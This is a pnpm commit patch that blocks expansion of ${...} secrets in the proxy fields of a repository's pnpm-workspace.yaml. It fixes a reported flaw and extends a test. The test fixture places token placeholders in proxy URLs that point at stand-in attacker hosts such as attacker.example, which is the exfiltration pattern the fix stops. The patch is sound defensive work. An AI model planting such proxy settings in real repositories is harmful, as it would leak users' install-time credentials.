From 5a4daec4bd5f0170b18ae053aff093eea56368ba Mon Sep 17 00:00:00 2001 From: Zoltan Kochan Date: Thu, 9 Jul 2026 11:59:33 +0200 Subject: [PATCH] fix(config): do not expand env vars in proxy fields from pnpm-workspace.yaml (#12871) Project-level pnpm-workspace.yaml is repository-controlled and therefore untrusted, so getOptionsFromPnpmSettings refuses to expand ${...} environment-variable placeholders in request-destination fields. The guarded set only covered registry, namedRegistries, and pnprServer; the httpProxy, httpsProxy, and noProxy fields were missing, so a malicious repository could route requests through an attacker-controlled proxy whose URL embedded a secret and exfiltrate install-time secrets before any lifecycle script runs. Add httpProxy, httpsProxy, and noProxy to REQUEST_DESTINATION_SCALAR_KEYS so they receive the same protection already applied to the registry channel, and extend the workspace-yaml request-destination test to cover them. Reported by YESHYUNGSEOK as flaw F01 of GHSA-vx52-2968-3vc6. --- .changeset/proxy-fields-env-expansion.md | 6 ++++++ pnpm11/config/reader/src/getOptionsFromRootManifest.ts | 2 +- pnpm11/config/reader/test/index.ts | 8 ++++++++ 3 files changed, 15 insertions(+), 1 deletion(-) create mode 100644 .changeset/proxy-fields-env-expansion.md diff --git a/.changeset/proxy-fields-env-expansion.md b/.changeset/proxy-fields-env-expansion.md new file mode 100644 index 0000000000..db17598c18 --- /dev/null +++ b/.changeset/proxy-fields-env-expansion.md @@ -0,0 +1,6 @@ +--- +"@pnpm/config.reader": patch +"pnpm": patch +--- + +`${...}` environment-variable placeholders in the `httpProxy`, `httpsProxy`, `noProxy`, `proxy`, and `noproxy` settings are no longer expanded when these settings come from a project's `pnpm-workspace.yaml`. They now receive the same protection already applied to `registry`, `namedRegistries`, and `pnprServer`. diff --git a/pnpm11/config/reader/src/getOptionsFromRootManifest.ts b/pnpm11/config/reader/src/getOptionsFromRootManifest.ts index e76fcefd77..11ebf3b0a2 100644 --- a/pnpm11/config/reader/src/getOptionsFromRootManifest.ts +++ b/pnpm11/config/reader/src/getOptionsFromRootManifest.ts @@ -35,7 +35,7 @@ interface ReplaceEnvInSettingsOptions { expandRequestDestinationEnv: boolean } -const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['pnprServer', 'registry']) +const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['pnprServer', 'registry', 'httpProxy', 'httpsProxy', 'noProxy', 'proxy', 'noproxy']) export function getOptionsFromPnpmSettings ( manifestDir: string | undefined, diff --git a/pnpm11/config/reader/test/index.ts b/pnpm11/config/reader/test/index.ts index ebddc17b0b..cf36cc90f6 100644 --- a/pnpm11/config/reader/test/index.ts +++ b/pnpm11/config/reader/test/index.ts @@ -936,6 +936,11 @@ test('pnpm-workspace.yaml request destinations do not expand env variables', asy writeYamlFileSync('pnpm-workspace.yaml', { pnprServer: 'https://${PNPM_TEST_TOKEN}.evil.example/', + httpsProxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/', + httpProxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/', + noProxy: '${PNPM_TEST_TOKEN}.example.com', + proxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/', + noproxy: '${PNPM_TEST_TOKEN}.example.com', registries: { default: 'https://private.example.com/${PNPM_TEST_TOKEN}/', '@scope': 'https://scope.example.com/${PNPM_TEST_TOKEN}/', @@ -956,6 +961,9 @@ test('pnpm-workspace.yaml request destinations do not expand env variables', asy expect(config.registries['@scope']).toBeUndefined() expect(config.namedRegistries).toStrictEqual({}) expect(config.pnprServer).toBeUndefined() + expect(config.httpsProxy).toBeUndefined() + expect(config.httpProxy).toBeUndefined() + expect(config.noProxy).toBeUndefined() expect(JSON.stringify(config)).not.toContain('secret') })